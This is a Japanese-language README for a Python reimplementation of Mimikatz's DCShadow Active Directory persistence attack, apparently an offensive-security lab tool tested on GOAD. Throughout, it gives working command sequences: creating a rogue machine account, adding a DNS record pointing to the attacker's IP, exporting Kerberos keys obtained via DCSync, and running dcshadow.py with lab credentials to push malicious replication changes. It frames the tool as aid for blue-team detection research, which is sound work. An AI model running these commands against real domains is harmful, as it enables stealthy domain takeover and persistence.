
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] 本番環境では実行しないでください。これはラボテスト用であり、ブルーチームが IoC、イベントタイプ、および挙動を特定するためのものです。 また、このツールは現状のまま提供されます。あなたが作成したいプルリクエストに対する標準的なレビュー以外のサポートは予定されていません。 Windows ホストから実行しないでください。Linux、または VM(RPC サービスの競合を避けるため)から実行してください。
このプロジェクトは、Mimikatz の dcshadow テクニックの純粋な Python による代替を意図しています。これには、変更された crypto、gssapi、drsuapi などを含むカスタム Impacket が含まれます。
DCShadow は強力な永続化テクニックであり、SID history、KRBTGT RBCD、ACE abuse などの他のテクニックのためのトランスポートと見なすことができます。
このツールは、より多用途な AD 永続化フレームワークの基盤となる可能性があり、この分野における私たちのコミュニティの全体的な成熟度を高めるために使用できるでしょう。
このツールは GOAD でテストされました。
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
このマシンは、レプリケーションの間、ドメインコントローラーとして登録され、最後に登録解除されます。
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py は、
msDS-SupportedEncryptionTypesを0x1fに設定するように変更されています。最新のテストでは制約違反が発生するようです。[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}当面は、Impacket の通常の addcomputer.py スクリプトを使用し、
msDS-SupportedEncryptionTypesを ADSI 編集で手動で変更してください。
これは、正規の DC がローグ DC に到達する方法を知り、ERROR_DS_DNS_LOOKUP_FAILURE エラーを回避するために必要です。
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] 何らかの理由でコマンドが機能しない場合は、ドメインコントローラー上の DNS ツールを使用して DNS エントリを手動で追加してください。
このツールの開発を始めたとき、dcshadow/utils/server/RpcServer.py ファイルの gss_kerberos_ap_req 関数に読み込まれる .env ファイルにハードコードされた資格情報を使用していました。
これは明らかにアップグレードが必要です。ローグ DC アカウントのパスワードは CLI 引数として渡し、Kerberos キーを計算できるようにすべきです。Krbrelayx はすでにそれを行っており、dacledit.py も同様です。コピー&ペーストが必要です。
現時点では、Kerberos キーを環境変数としてエクスポートする必要があります。
以下のようになります:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
これらのキーは、DCSync 攻撃によって取得できます。
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] この場合、
repl.jsonファイルを使用して対象オブジェクトと属性を指定します。あるいは、このツールはインラインオプション(例:--object、--attribute、--value)をサポートしています。
DRSReplicaAdd がタイムアウトする場合、おそらく dcshadow.py を実行しているマシン(ローグ DC)のネットワーク/ファイアウォールの問題であり、135/TCP(epmapper)および 1337/TCP(将来実装される場合は動的ポート、drsuapi 用)への着信トラフィックを許可していない可能性があります。
正規のドメインコントローラーで Wireshark を実行する必要があるでしょうが、最も可能性の高い根本原因は、Windows マシン上でこれを実行しようとしていることです。つまり、正規の DC がローグ DC の epmapper に drsuapi エンドポイントのポートを尋ねたとき、応答するのは独自のカスタム epmapper ではなく、自身の Windows マシンの epmapper であるため、応答が空になります。
このプロジェクトは、開発中に出会った才能ある研究者である Alessandro Iandoli "MrAle98" の多大な助けなしには実現しませんでした。ありがとう、Alessandro!
初期の発見、講演、そして Mimikatz への実装は、Benjamin Delpy と Vincent Letoux に帰属します。
また、初期開発に参加した Volker にも感謝したいと思います。
PoC からモジュール式プロジェクトへの移行を支援してくれた Dramelac に感謝します。それは将来のフレームワークの基盤となるでしょう。